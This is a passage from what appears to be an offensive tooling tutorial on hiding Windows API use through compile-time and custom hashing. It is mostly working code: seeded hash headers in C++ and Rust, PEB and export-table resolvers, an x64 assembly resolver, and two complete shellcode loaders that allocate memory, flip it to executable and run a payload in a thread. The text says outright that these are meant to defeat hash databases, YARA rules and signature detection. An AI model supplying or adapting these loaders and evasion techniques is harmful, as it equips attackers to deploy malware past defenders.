for _ in range(8):
if crc & 1:
crc = (crc >> 1) ^ poly
else:
crc >>= 1
return (~crc) & 0xFFFFFFFF
# ─── Hash generation ─────────────────────────────────────────
apis = [
"VirtualAlloc", "VirtualProtect", "CreateThread",
"WriteProcessMemory", "OpenProcess", "LoadLibraryA",
"NtAllocateVirtualMemory", "NtCreateThreadEx",
]
print(f"{'API Name':<35} {'CRC32':<14} {'Custom Poly CRC32'}")
print("-" * 65)
for api in apis:
h_std = crc32_api(api)
h_cust = crc32_custom_poly(api)
print(f"{api:<35} 0x{h_std:08X} 0x{h_cust:08X}")
9.3 CRC32 — C++ Compile-Time
// crc32.hpp — Compile-time CRC32 for API hashing (C++14)
#pragma once
#include <cstdint>
#include <array>
namespace crc32hash {
// Standard IEEE CRC32 reflected polynomial
constexpr uint32_t POLY = 0xEDB88320u;
// Generate CRC32 lookup table at compile time
constexpr uint32_t crc32_byte(uint32_t b) {
for (int i = 0; i < 8; ++i) {
b = (b & 1) ? ((b >> 1) ^ POLY) : (b >> 1);
}
return b;
}
// Compute CRC32 of a string at compile time (C++14 constexpr loop)
constexpr uint32_t crc32(const char* str) {
uint32_t crc = 0xFFFFFFFFu;
for (; *str; ++str) {
crc = (crc >> 8) ^ crc32_byte((crc ^ (uint8_t)*str) & 0xFF);
}
// Include null terminator
crc = (crc >> 8) ^ crc32_byte((crc ^ 0) & 0xFF);
return crc ^ 0xFFFFFFFFu;
}
} // namespace crc32hash
#define CRC32_HASH(str) (crc32hash::crc32(str))
// Pre-computed values — generated by Python script
#define HASH_VirtualAlloc CRC32_HASH("VirtualAlloc")
#define HASH_CreateThread CRC32_HASH("CreateThread")
#define HASH_WriteProcessMemory CRC32_HASH("WriteProcessMemory")
10. Custom / Seeded Hash Algorithms
What it means: A major weakness of standard hashing algorithms (ROR13, DJB2, FNV-1a) is that defenders have built large hash-to-API-name databases (notably OALabs' HashDB) that can instantly reverse any standard hash back to the original API name. The solution is to use custom algorithms or add a unique seed to standard algorithms, so your hashes don't appear in any existing lookup table.
10.1 Custom Algorithm Strategies
Strategy 1 — Seed Injection:
Change the initial hash value (seed) in a known algorithm
DJB2 default seed: 5381
Your custom seed: 0xDEADBEEF
→ All output hashes change, but the algorithm structure is same
Strategy 2 — Polynomial / Rotation Change:
ROR13 → change rotation to ROR7, ROR11, or ROR17
CRC32 → use a non-standard polynomial
→ Known YARA rules checking for ror eax, 0x0D become ineffective
Strategy 3 — Operation Order Change:
FNV-1: multiply then XOR
FNV-1a: XOR then multiply
Custom: add, shift, XOR in novel order
→ Defeats hash family identification
Strategy 4 — Double Hashing:
hash1 = ror13(name)
hash2 = djb2(name)
stored_value = hash1 ^ hash2 (XOR of two hashes)
→ Reverse requires knowing BOTH algorithms AND the XOR combination
Strategy 5 — Per-Build Random Seed:
Use __COUNTER__ or __TIME__ macros to randomize seed at compile time
→ Each build produces entirely different hash values
→ Breaks any static signature based on specific hash constants
10.2 Per-Build Randomized Seed (C++ Compile-Time)
// random_seed.hpp — Compile-time random seed injection
// Each build produces unique hash values — defeats hash database lookups
#pragma once
#include <cstdint>
// Compile-time seed derived from build time
// __TIME__ = "HH:MM:SS" string at compilation
constexpr uint32_t _char_to_int(const char* s, int idx) {
return static_cast<uint32_t>(s[idx]);
}
// Mix build time into a 32-bit seed
constexpr uint32_t BUILD_SEED =
(_char_to_int(__TIME__, 0) << 24) |
(_char_to_int(__TIME__, 3) << 16) |
(_char_to_int(__TIME__, 6) << 8) |
(_char_to_int(__TIME__, 7));
// Apply seed to FNV-1a
constexpr uint32_t FNV_OFFSET_SEEDED = 0x811C9DC5u ^ BUILD_SEED;
constexpr uint32_t FNV_PRIME = 0x01000193u;
constexpr uint32_t _fnv1a_seeded(const char* str,
uint32_t h = FNV_OFFSET_SEEDED) {
return *str
? _fnv1a_seeded(str + 1, (h ^ (uint8_t)*str) * FNV_PRIME)
: h;
}
#define APIHASH(str) (_fnv1a_seeded(str))
// Every build of this binary will have DIFFERENT hash values
// for the same API names — making signature-based detection harder
10.3 Custom XOR-ROR Algorithm
// custom_hash.h — Simple but unique custom algorithm
// Mix of XOR, rotation, and multiplication — avoid all known patterns
#pragma once
#include <stdint.h>
// ─── CUSTOMIZE THESE VALUES PER PROJECT ──────────────────────
#define CUSTOM_SEED 0xABCDEF01u
#define CUSTOM_ROT_BITS 7 // Not 13! Avoids ROR13 detection
#define CUSTOM_XOR_KEY 0xDEAD1337u
// ─────────────────────────────────────────────────────────────
static inline uint32_t _ror32_custom(uint32_t v, int n) {
return (v >> n) | (v << (32 - n));
}
// Runtime version
static uint32_t custom_hash_runtime(const char* str) {
uint32_t h = CUSTOM_SEED;
while (*str) {
h ^= (uint8_t)(*str++);
h = _ror32_custom(h, CUSTOM_ROT_BITS);
h *= 0x45D9F3Bu; // Knuth multiplicative constant
h ^= CUSTOM_XOR_KEY;
}
return h;
}
#ifdef __cplusplus
// Compile-time version (C++)
constexpr uint32_t _cx_ror(uint32_t v, int n) {
return (v >> n) | (v << (32 - n));
}
constexpr uint32_t _custom_hash_cx(const char* str, uint32_t h = CUSTOM_SEED) {
return *str
? _custom_hash_cx(
str + 1,
(_cx_ror(h ^ (uint8_t)*str, CUSTOM_ROT_BITS) * 0x45D9F3Bu) ^ CUSTOM_XOR_KEY
)
: h;
}
#define CUSTOM_HASH(str) (_custom_hash_cx(str))
#endif
11. Compile-Time Hashing with constexpr (C++)
What it means: The constexpr specifier in C++ (introduced in C++11) instructs the compiler to evaluate an expression at compile time when possible. When applied to a hashing function, constexpr ensures the hash of "VirtualAlloc" is computed during compilation, and the string "VirtualAlloc" is completely eliminated from the compiled binary. The binary only contains the integer result.
11.1 Why constexpr Matters
Without constexpr (runtime hashing):
Source: uint32_t h = hash("VirtualAlloc");
Binary: string "VirtualAlloc" stored in .rdata section
hash() called at program start
→ "strings" scan → finds "VirtualAlloc"
With constexpr (compile-time hashing):
Source: constexpr uint32_t h = HASH("VirtualAlloc");
Binary: only 0xE553A458 embedded as immediate value
no function call, no string storage
→ "strings" scan → finds nothing
→ SIGNIFICANTLY harder to analyze statically
11.2 Full constexpr Hashing Header (Production-Ready)
// apihash.hpp — Production compile-time API hashing header
// C++11 compatible. Drop-in for any Windows offensive tool.
#pragma once
#include <cstdint>
#include <windows.h>
// ════════════════════════════════════════════════════════════
// CONFIGURATION — Customize before use
// ════════════════════════════════════════════════════════════
#define APIHASH_SEED 0xDEADBEEFu // Change per project!
#define APIHASH_PRIME 0x01000193u // FNV prime (or use your own)
// ════════════════════════════════════════════════════════════
// Lowercase conversion at compile time
constexpr char _api_tolower(char c) {
return (c >= 'A' && c <= 'Z') ? (char)(c + 0x20) : c;
}
// Core hash recursion — case-insensitive FNV-1a with custom seed
constexpr uint32_t _apihash_cx(const char* s,
uint32_t h = (0x811C9DC5u ^ APIHASH_SEED)) {
return *s
? _apihash_cx(s + 1, (h ^ (uint8_t)_api_tolower(*s)) * APIHASH_PRIME)
: h;
}
// Public macro — MUST resolve at compile time
#define APIHASH(str) (static_cast<uint32_t>(_apihash_cx(str)))
// ─── Runtime resolver using PEB walk ─────────────────────────
// Companion to compile-time hash macro
typedef FARPROC (*pfnGetProcAddress)(HMODULE, LPCSTR);
// Walk PEB + EAT to resolve function by compile-time hash
FARPROC ResolveAPIHash(uint32_t target_hash) {
// Read PEB (x64)
PPEB peb = (PPEB)__readgsqword(0x60);
PPEB_LDR_DATA ldr = peb->Ldr;
PLIST_ENTRY list = &ldr->InLoadOrderModuleList;
PLIST_ENTRY entry = list->Flink;
while (entry != list) {
PLDR_DATA_TABLE_ENTRY mod =
CONTAINING_RECORD(entry, LDR_DATA_TABLE_ENTRY, InLoadOrderLinks);
if (mod->DllBase) {
uint8_t* base = (uint8_t*)mod->DllBase;
IMAGE_DOS_HEADER* dos = (IMAGE_DOS_HEADER*)base;
if (dos->e_magic != IMAGE_DOS_SIGNATURE) {
entry = entry->Flink;
continue;
}
IMAGE_NT_HEADERS* nt = (IMAGE_NT_HEADERS*)(base + dos->e_lfanew);
DWORD exp_rva = nt->OptionalHeader
.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]
.VirtualAddress;
if (exp_rva) {
IMAGE_EXPORT_DIRECTORY* exp =
(IMAGE_EXPORT_DIRECTORY*)(base + exp_rva);
DWORD* names = (DWORD*)(base + exp->AddressOfNames);
WORD* ords = (WORD*) (base + exp->AddressOfNameOrdinals);
DWORD* funcs = (DWORD*)(base + exp->AddressOfFunctions);
for (DWORD i = 0; i < exp->NumberOfNames; i++) {
const char* fname = (const char*)(base + names[i]);
// Compare runtime hash against compile-time constant
if (_apihash_cx(fname) == target_hash) {
WORD ord = ords[i];
DWORD fn_rva = funcs[ord];
return (FARPROC)(base + fn_rva);
}
}
}
}
entry = entry->Flink;
}
return nullptr;
}
// ─── Convenience typed resolver macro ────────────────────────
// Creates a typed function pointer and resolves it in one line
#define RESOLVE_API(type, name) \
((type)ResolveAPIHash(APIHASH(#name)))
// Usage:
// auto pVirtualAlloc = RESOLVE_API(decltype(&VirtualAlloc), VirtualAlloc);
// auto pCreateThread = RESOLVE_API(decltype(&CreateThread), CreateThread);
// auto pVirtualProtect = RESOLVE_API(decltype(&VirtualProtect), VirtualProtect);
11.3 Complete Loader Using Compile-Time Hashing
// loader_ct_hash.cpp — Shellcode loader with zero suspicious IAT entries
// All Windows APIs resolved at runtime using compile-time hashes
// Compile: cl /O2 /GS- /nodefaultlib /W0 loader_ct_hash.cpp /link /ENTRY:main
#include "apihash.hpp" // compile-time APIHASH() macro
// ─── Pre-computed API hashes (no strings in binary!) ─────────
#define HASH_VirtualAlloc APIHASH("VirtualAlloc")
#define HASH_VirtualProtect APIHASH("VirtualProtect")
#define HASH_CreateThread APIHASH("CreateThread")
#define HASH_WaitForSingleObject APIHASH("WaitForSingleObject")
// ─── Function pointer types ───────────────────────────────────
typedef LPVOID (WINAPI *pfnVirtualAlloc)(LPVOID, SIZE_T, DWORD, DWORD);
typedef BOOL (WINAPI *pfnVirtualProtect)(LPVOID, SIZE_T, DWORD, PDWORD);
typedef HANDLE (WINAPI *pfnCreateThread)(LPSECURITY_ATTRIBUTES, SIZE_T,
LPTHREAD_START_ROUTINE,
LPVOID, DWORD, LPDWORD);
typedef DWORD (WINAPI *pfnWaitForSingleObject)(HANDLE, DWORD);
// ─── Shellcode payload (replace with real payload) ───────────
unsigned char shellcode[] = {
0xfc, 0x48, 0x83, 0xe4, 0xf0, // Replace with your encrypted payload
// ... (AES/XOR encrypted shellcode here)
};
unsigned int shellcode_len = sizeof(shellcode);
int main() {
// ─── Step 1: Resolve all needed APIs (no GetProcAddress in IAT) ───
pfnVirtualAlloc pVirtualAlloc =
(pfnVirtualAlloc) ResolveAPIHash(HASH_VirtualAlloc);
pfnVirtualProtect pVirtualProtect =
(pfnVirtualProtect) ResolveAPIHash(HASH_VirtualProtect);
pfnCreateThread pCreateThread =
(pfnCreateThread) ResolveAPIHash(HASH_CreateThread);
pfnWaitForSingleObject pWaitForSingle =
(pfnWaitForSingleObject)ResolveAPIHash(HASH_WaitForSingleObject);
if (!pVirtualAlloc || !pVirtualProtect ||
!pCreateThread || !pWaitForSingle) {
return 1; // Resolution failed — bail silently
}
// ─── Step 2: Allocate RW memory (not RWX — avoid PAGE_EXECUTE_READWRITE) ─
LPVOID mem = pVirtualAlloc(NULL, shellcode_len,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE); // RW only first
if (!mem) return 1;
// ─── Step 3: Copy + decrypt shellcode ────────────────────
// (Add your XOR/AES decryption here)
for (size_t i = 0; i < shellcode_len; i++) {
((unsigned char*)mem)[i] = shellcode[i]; // decrypt inline
}
// ─── Step 4: Change to RX (no execute permission until needed) ───
DWORD old_protect = 0;
pVirtualProtect(mem, shellcode_len, PAGE_EXECUTE_READ, &old_protect);
// ─── Step 5: Execute via thread ──────────────────────────
HANDLE hThread = pCreateThread(NULL, 0,
(LPTHREAD_START_ROUTINE)mem,
NULL, 0, NULL);
if (hThread) {
pWaitForSingle(hThread, 0xFFFFFFFF);
}
return 0;
}
12. Compile-Time Hashing in Rust
What it means: Rust's const fn (introduced in Rust 1.31, expanded through 1.46+) provides compile-time computation equivalent to C++'s constexpr. Rust is increasingly used for offensive tooling because of its memory safety, no runtime required by default, and zero-cost abstractions. Hash values computed with const fn are inlined as immediates in the compiled binary — no strings appear in the output.
12.1 Full Rust API Hash Resolver
// api_hash.rs — Compile-time API hashing for Windows offensive tooling in Rust
#![no_std]
#![allow(non_snake_case)]
use core::arch::asm;
// ─── Configuration ────────────────────────────────────────────
const DJB2_SEED: u32 = 0xDEAD_BEEFu32; // Change per project!
// ─── Compile-Time DJB2 Hash (const fn) ───────────────────────
pub const fn djb2(name: &[u8]) -> u32 {
let mut h = DJB2_SEED;
let mut i = 0;
while i < name.len() {
h = h.wrapping_mul(33).wrapping_add(name[i] as u32);
i += 1;
}
h
}
/// Case-insensitive variant — match regardless of DLL export name casing
pub const fn djb2_ci(name: &[u8]) -> u32 {
let mut h = DJB2_SEED;
let mut i = 0;
while i < name.len() {
let c = if name[i] >= b'A' && name[i] <= b'Z' {
name[i] + 32 // to lowercase
} else {
name[i]
};
h = h.wrapping_mul(33).wrapping_add(c as u32);
i += 1;
}
h
}
// ─── Pre-computed Constants ───────────────────────────────────
// All computed at compile time — strings erased from binary
const HASH_VIRTUAL_ALLOC: u32 = djb2(b"VirtualAlloc");
const HASH_VIRTUAL_PROTECT: u32 = djb2(b"VirtualProtect");
const HASH_CREATE_THREAD: u32 = djb2(b"CreateThread");
const HASH_WRITE_PROC_MEM: u32 = djb2(b"WriteProcessMemory");
const HASH_WAIT_FOR_SINGLE: u32 = djb2(b"WaitForSingleObject");
const HASH_NT_ALLOC_VIRT_MEM: u32 = djb2(b"NtAllocateVirtualMemory");
// ─── PEB Structures (Windows internals) ──────────────────────
#[repr(C)]
struct ListEntry {
flink: *mut ListEntry,
blink: *mut ListEntry,
}
#[repr(C)]
struct UnicodeString {
length: u16,
max_length: u16,
_pad: u32,
buffer: *const u16, // wchar_t*
}
#[repr(C)]
struct LdrDataTableEntry {
in_load_order_links: ListEntry,
in_memory_order_links: ListEntry,
in_init_order_links: ListEntry,
dll_base: *const u8,
entry_point: *const u8,
size_of_image: u32,
_pad: u32,
full_dll_name: UnicodeString,
base_dll_name: UnicodeString,
}
// Get PEB address via GS register (x64)
unsafe fn get_peb() -> *const u8 {
let peb: *const u8;
asm!(
"mov {}, gs:[0x60]",
out(reg) peb,
options(nostack, pure, nomem)
);
peb
}
// ─── EAT Parser ───────────────────────────────────────────────
unsafe fn resolve_by_hash(module_base: *const u8, target_hash: u32) -> Option<*const u8> {
// Parse DOS and NT headers
let dos_magic = *(module_base as *const u16);
if dos_magic != 0x5A4D { return None; } // "MZ"
let e_lfanew = *(module_base.add(0x3C) as *const u32);
let nt_hdrs = module_base.add(e_lfanew as usize);
// Export directory RVA at OptionalHeader+DataDirectory[0].VirtualAddress
// PE32+ (x64): OptionalHeader at NT+0x18, DataDirectory at +0x70 → total 0x88
let exp_rva = *(nt_hdrs.add(0x88) as *const u32);
if exp_rva == 0 { return None; }
let exp_dir = module_base.add(exp_rva as usize);
let num_names = *(exp_dir.add(0x18) as *const u32);
let names_rva = *(exp_dir.add(0x20) as *const u32);
let ords_rva = *(exp_dir.add(0x24) as *const u32);
let funcs_rva = *(exp_dir.add(0x1C) as *const u32);
let names = module_base.add(names_rva as usize) as *const u32;
let ords = module_base.add(ords_rva as usize) as *const u16;
let funcs = module_base.add(funcs_rva as usize) as *const u32;
for i in 0..num_names {
let name_rva = *names.add(i as usize);
let name_ptr = module_base.add(name_rva as usize);
// Build byte slice for hashing (scan for null terminator)
let mut len = 0usize;
while *name_ptr.add(len) != 0 { len += 1; }
let name_bytes = core::slice::from_raw_parts(name_ptr, len);
if djb2(name_bytes) == target_hash {
let ordinal = *ords.add(i as usize) as usize;
let fn_rva = *funcs.add(ordinal);
return Some(module_base.add(fn_rva as usize));
}
}
None
}
// ─── Public API — resolve any Windows function by hash ────────
pub unsafe fn get_proc(target_hash: u32) -> Option<*const u8> {
let peb = get_peb();
let ldr = *(peb.add(0x18) as *const *const u8);
let mut flink = *(ldr.add(0x20) as *const *const ListEntry);
let list_head = flink;
loop {
let entry = (flink as *const u8).sub(0x10) as *const LdrDataTableEntry;
let dll_base = (*entry).dll_base;
if !dll_base.is_null() {
if let Some(addr) = resolve_by_hash(dll_base, target_hash) {
return Some(addr);
}
}
flink = (*flink).flink;
if flink == list_head { break; }
}
None
}
13. Full IAT-Clean Loader Implementation (C)
What it means: A complete end-to-end implementation that demonstrates compile-time API hashing in a real shellcode loader context. The binary's import table contains only benign decoy functions; all offensive APIs are resolved at runtime via hash matching.
13.1 Complete Implementation
// iat_clean_loader.c
// Compile: cl /O2 /GS- /W0 iat_clean_loader.c /link /NODEFAULTLIB /ENTRY:main
// Result: Zero suspicious imports in IAT
#include <windows.h>
#include <stdint.h>
// ─── CONFIG: Change SEED per project ──────────────────────────
#define HASH_SEED 0xC0FFEE42u
// ─── Compile-time FNV-1a with custom seed ────────────────────
#ifdef __cplusplus
constexpr uint32_t _fnv_cx(const char* s,
uint32_t h = (0x811C9DC5u ^ HASH_SEED)) {
return *s
? _fnv_cx(s + 1, (h ^ (uint8_t)*s) * 0x01000193u)
: h;
}
#define HASH(str) (_fnv_cx(str))
#else
// C fallback — compute at runtime (still removes strings if compiler optimizes)
#define HASH(str) (fnv1a_runtime(str))
static uint32_t fnv1a_runtime(const char* s) {
uint32_t h = 0x811C9DC5u ^ HASH_SEED;
while (*s) { h ^= (uint8_t)(*s++); h *= 0x01000193u; }
return h;
}
#endif
// ─── API Hash Constants (evaluated at compile time in C++) ────
#define H_VirtualAlloc HASH("VirtualAlloc")
#define H_VirtualProtect HASH("VirtualProtect")
#define H_CreateThread HASH("CreateThread")
#define H_WaitForSingleObject HASH("WaitForSingleObject")
#define H_GetTickCount HASH("GetTickCount") // benign decoy in IAT
// ─── Type Definitions ─────────────────────────────────────────
typedef LPVOID (WINAPI *PFN_VirtualAlloc)(LPVOID, SIZE_T, DWORD, DWORD);
typedef BOOL (WINAPI *PFN_VirtualProtect)(LPVOID, SIZE_T, DWORD, PDWORD);
typedef HANDLE (WINAPI *PFN_CreateThread)(LPSECURITY_ATTRIBUTES, SIZE_T,
LPTHREAD_START_ROUTINE,
LPVOID, DWORD, LPDWORD);
typedef DWORD (WINAPI *PFN_WaitForSingleObject)(HANDLE, DWORD);
// ─── Minimal PEB/PE structures (avoid including all of ntdef.h) ─
typedef struct _PEB_LDR {
BYTE Reserved[8];
PVOID Reserved2[3];
LIST_ENTRY InLoadOrderModuleList;
} PEB_LDR;
typedef struct _LDR_ENTRY {
LIST_ENTRY InLoadOrderLinks;
LIST_ENTRY InMemoryOrderLinks;
LIST_ENTRY InInitializationOrderLinks;
PVOID DllBase;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
} LDR_ENTRY;
// ─── Hash match function (runtime hash of EAT names) ──────────
static uint32_t runtime_hash(const char* s) {
uint32_t h = 0x811C9DC5u ^ HASH_SEED;
while (*s) { h ^= (uint8_t)(*s++); h *= 0x01000193u; }
return h;
}
// ─── EAT walker ───────────────────────────────────────────────
static FARPROC find_in_module(HMODULE hmod, uint32_t target) {
uint8_t* base = (uint8_t*)hmod;
IMAGE_DOS_HEADER* dos = (IMAGE_DOS_HEADER*)base;
if (dos->e_magic != 0x5A4D) return NULL;
IMAGE_NT_HEADERS* nt = (IMAGE_NT_HEADERS*)(base + dos->e_lfanew);
DWORD exp_rva = nt->OptionalHeader
.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]
.VirtualAddress;
if (!exp_rva) return NULL;
IMAGE_EXPORT_DIRECTORY* exp = (IMAGE_EXPORT_DIRECTORY*)(base + exp_rva);
DWORD* names = (DWORD*)(base + exp->AddressOfNames);
WORD* ords = (WORD*) (base + exp->AddressOfNameOrdinals);
DWORD* funcs = (DWORD*)(base + exp->AddressOfFunctions);
for (DWORD i = 0; i < exp->NumberOfNames; i++) {
if (runtime_hash((char*)(base + names[i])) == target) {
return (FARPROC)(base + funcs[ords[i]]);
}
}
return NULL;
}
// ─── PEB walker: resolve from any loaded module ───────────────
static FARPROC resolve(uint32_t hash) {
#ifdef _WIN64
PPEB peb = (PPEB)__readgsqword(0x60);
#else
PPEB peb = (PPEB)__readfsdword(0x30);
#endif
PEB_LDR* ldr = (PEB_LDR*)peb->Ldr;
LIST_ENTRY* list = &ldr->InLoadOrderModuleList;
LIST_ENTRY* entry = list->Flink;
while (entry != list) {
LDR_ENTRY* mod = CONTAINING_RECORD(entry, LDR_ENTRY, InLoadOrderLinks);
if (mod->DllBase) {
FARPROC f = find_in_module((HMODULE)mod->DllBase, hash);
if (f) return f;
}
entry = entry->Flink;
}
return NULL;
}
// ─── Shellcode (replace with actual payload) ──────────────────
static unsigned char shellcode[] = {
/* Encrypted/encoded shellcode bytes here */
0x90, 0x90, 0x90, 0xC3 // NOP NOP NOP RET (placeholder)
};
// ─── Entry point ──────────────────────────────────────────────
int main(void) {
// Resolve all APIs via hash (no imports = clean IAT)
PFN_VirtualAlloc pVA = (PFN_VirtualAlloc) resolve(H_VirtualAlloc);
PFN_VirtualProtect pVP = (PFN_VirtualProtect) resolve(H_VirtualProtect);
PFN_CreateThread pCT = (PFN_CreateThread) resolve(H_CreateThread);
PFN_WaitForSingleObject pWSO = (PFN_WaitForSingleObject) resolve(H_WaitForSingleObject);
if (!pVA || !pVP || !pCT || !pWSO) return 1;
// Allocate RW (not RWX — avoid suspicious protection flags)
LPVOID mem = pVA(NULL, sizeof(shellcode), MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);
if (!mem) return 1;
// Copy shellcode (add decryption here)
for (size_t i = 0; i < sizeof(shellcode); i++)
((unsigned char*)mem)[i] = shellcode[i];
// Flip to RX
DWORD old = 0;
pVP(mem, sizeof(shellcode), PAGE_EXECUTE_READ, &old);
// Execute
HANDLE t = pCT(NULL, 0, (LPTHREAD_START_ROUTINE)mem, NULL, 0, NULL);
if (t) pWSO(t, 0xFFFFFFFF);
return 0;
}
14. Shellcode-Embedded API Resolver (x64 Assembly)
What it means: In pure shellcode (position-independent code with no PE structure), all API resolution must happen inline in assembly. The Stephen Fewer block_api is the canonical example — a self-contained assembly routine that implements PEB walk + EAT parsing + ROR13 hashing in under 100 bytes, used by Metasploit since 2009.
14.1 Minimal x64 Hash-Based API Resolver (NASM)
; api_resolver_x64.asm — Position-independent API resolver
; Calls via: push arg2; push arg1; push HASH; call resolve_api
; Returns: rax = function address, or 0 if not found
; Based on Stephen Fewer's block_api technique
BITS 64
resolve_api:
; Save registers we'll use
push rbx
push rdi
push rsi
push r8
push r9
push r10
push r11
; Get the target hash from stack (pushed by caller before call)
mov r11d, [rsp + 0x40] ; r11d = target hash (adjust offset per calling convention)
; ─── Step 1: Get PEB ─────────────────────────────────────
mov rax, gs:[0x60] ; rax = PEB
mov rax, [rax + 0x18] ; rax = PEB.Ldr
mov rax, [rax + 0x20] ; rax = InLoadOrderModuleList.Flink
.walk_modules:
mov rbx, rax ; rbx = current LDR_DATA_TABLE_ENTRY
; Check for end of list (Flink == list head)
cmp rbx, 0
je .not_found
; ─── Step 2: Get module DLL base ─────────────────────────
mov r9, [rbx + 0x10] ; r9 = DllBase
test r9, r9
jz .next_module
; ─── Step 3: Hash the module DLL name (for combined hash) ─
; (Simplified: skip module name hashing for function-only hash)
; ─── Step 4: Parse EAT ───────────────────────────────────
mov eax, [r9 + 0x3C] ; eax = e_lfanew (DOS header)
mov r8d, [r9 + rax + 0x88] ; r8d = export dir RVA
test r8d, r8d
jz .next_module
lea r8, [r9 + r8] ; r8 = export directory VA
mov ecx, [r8 + 0x18] ; ecx = NumberOfNames
mov r10d, [r8 + 0x20] ; r10d = AddressOfNames RVA
lea r10, [r9 + r10] ; r10 = AddressOfNames VA
xor rdi, rdi ; rdi = name index = 0
.walk_exports:
cmp edi, ecx
jge .next_module
; Get name string
mov esi, [r10 + rdi*4] ; esi = name RVA
lea rsi, [r9 + rsi] ; rsi = name string VA
; ─── ROR13 hash of function name ─────────────────────────
xor eax, eax ; hash = 0
.hash_loop:
movzx edx, byte [rsi]
test dl, dl
jz .hash_done
ror eax, 0x0D ; rotate right 13
add eax, edx
inc rsi
jmp .hash_loop
.hash_done:
ror eax, 0x0D ; final rotation
; Compare with target hash
cmp eax, r11d
jne .next_export
; ─── Found! Resolve address ──────────────────────────────
mov r10d, [r8 + 0x24] ; r10d = AddressOfNameOrdinals RVA
lea r10, [r9 + r10]
movzx eax, word [r10 + rdi*2] ; ordinal = ordinals[i]
mov r10d, [r8 + 0x1C] ; r10d = AddressOfFunctions RVA
lea r10, [r9 + r10]
mov eax, [r10 + rax*4] ; fn_rva = functions[ordinal]
lea rax, [r9 + rax] ; fn_va = DllBase + fn_rva
jmp .done
.next_export:
inc edi
jmp .walk_exports
.next_module:
mov rax, [rbx] ; Flink of current entry
jmp .walk_modules
.not_found:
xor rax, rax
.done:
pop r11
pop r10
pop r9
pop r8
pop rsi
pop rdi
pop rbx
ret
14.2 Usage in Shellcode Body
; example_shellcode.asm — Using the resolver
BITS 64
DEFAULT REL
; After resolver is defined, call functions like:
; push HASH ; Push compile-time computed hash
; call resolve_api ; Resolve → rax = function pointer
; push args... ; Push actual function arguments
; call rax ; Call the resolved function
_start:
; Example: call VirtualAlloc
; ROR13("VirtualAlloc") = 0xE553A458
push 0xE553A458 ; Hash for VirtualAlloc
call resolve_api
; rax = VirtualAlloc address
; Now set up VirtualAlloc arguments and call:
xor rcx, rcx ; lpAddress = NULL
mov rdx, 0x1000 ; dwSize = 0x1000
mov r8, 0x3000 ; flAllocationType = MEM_COMMIT|MEM_RESERVE
mov r9, 0x40 ; flProtect = PAGE_EXECUTE_READWRITE
call rax ; VirtualAlloc(NULL, 0x1000, 0x3000, 0x40)
15. Hash Precomputation Tools & Scripts
What it means: Manually computing hashes for every API function is error-prone. Use automation scripts to generate hash tables, C headers, or lookup dictionaries. These are run once at development time, and the output is copy-pasted into your loader.
15.1 Universal Hash Generator (Python)
#!/usr/bin/env python3
# hash_generator.py — Generate hash tables for multiple algorithms
# Run once → paste output into your C/C++ or Rust code
import binascii
import struct
import sys
# ─── Hash functions ────────────────────────────────────────────
def ror32(v, n):
return ((v >> n) | (v << (32 - n))) & 0xFFFFFFFF
def ror13(s):
h = 0
for b in (s + '\x00').encode():
h = ror32(h, 13)
h = (h + b) & 0xFFFFFFFF
return h
def djb2(s, seed=5381):
h = seed
for b in s.encode():
h = ((h << 5) + h + b) & 0xFFFFFFFF
return h
def fnv1a32(s, seed=0xCAFEBABE):
h = 0x811C9DC5 ^ seed
for b in s.encode():
h = ((h ^ b) * 0x01000193) & 0xFFFFFFFF
return h
def crc32(s):
return binascii.crc32((s + '\x00').encode()) & 0xFFFFFFFF
# ─── API list ─────────────────────────────────────────────────
APIS = [
"VirtualAlloc",
"VirtualProtect",
"VirtualFree",
"CreateThread",
"CreateRemoteThread",
"WriteProcessMemory",
"ReadProcessMemory",
"OpenProcess",
"CloseHandle",
"WaitForSingleObject",
"GetThreadContext",
"SetThreadContext",
"LoadLibraryA",
"LoadLibraryW",
"GetProcAddress",
"GetModuleHandleA",
"NtAllocateVirtualMemory",
"NtWriteVirtualMemory",
"NtCreateThreadEx",
"NtProtectVirtualMemory",
"RtlCopyMemory",
"RtlZeroMemory",
]
SEED = 0xDEADBEEF # ← Change this per project
# ─── Output ────────────────────────────────────────────────────
print("// Auto-generated API hash table")
print(f"// Seed: 0x{SEED:08X}")
print()
print(f"{'API':<40} {'ROR13':<14} {'DJB2':<14} {'FNV-1a':<14} {'CRC32'}")
print("-" * 100)
for api in APIS:
r = ror13(api)
d = djb2(api, SEED)
f = fnv1a32(api, SEED)
c = crc32(api)
print(f"{api:<40} 0x{r:08X} 0x{d:08X} 0x{f:08X} 0x{c:08X}")
print()
print("// C header format (FNV-1a with custom seed):")
print(f"#define APIHASH_SEED 0x{SEED:08X}u")
print()
for api in APIS:
h = fnv1a32(api, SEED)
print(f"#define HASH_{api:<35} 0x{h:08X}u")
15.2 Compile and Verify Hash Values (Windows CMD)
:: verify_hashes.bat — Compile a small test to verify compile-time hash values
@echo off
:: Requires MSVC (cl.exe) or MinGW (g++)
:: Test: does compile-time HASH("VirtualAlloc") match runtime computation?
echo #include "apihash.hpp" > verify_test.cpp
echo #include ^<stdio.h^> >> verify_test.cpp
echo int main() { >> verify_test.cpp
echo printf("Compile-time: 0x%%08X\n", APIHASH("VirtualAlloc")); >> verify_test.cpp
echo printf("Runtime: 0x%%08X\n", _apihash_cx("VirtualAlloc")); >> verify_test.cpp
echo return 0; >> verify_test.cpp
echo } >> verify_test.cpp
:: MSVC
cl.exe /O2 /W0 /std:c++17 verify_test.cpp /link /out:verify_test.exe
verify_test.exe
:: MinGW
:: g++ -O2 -std=c++17 verify_test.cpp -o verify_test.exe && verify_test.exe
del verify_test.cpp verify_test.exe 2>nul
15.3 Import Inspection — Before and After
# Install: pip install pefile
# inspect_imports.py — Check if suspicious APIs are in IAT
import pefile
import sys
def check_imports(path: str):
pe = pefile.PE(path)
print(f"\n[*] Analyzing: {path}\n")
if not hasattr(pe, 'DIRECTORY_ENTRY_IMPORT'):
print("[+] No imports found in IAT — fully hash-resolved!")
return
suspicious = [
"VirtualAlloc", "VirtualProtect", "CreateThread",
"WriteProcessMemory", "CreateRemoteThread", "OpenProcess",
"NtAllocateVirtualMemory", "NtCreateThreadEx",
"SetWindowsHookEx", "QueueUserAPC",
]
print("Imported DLLs:")
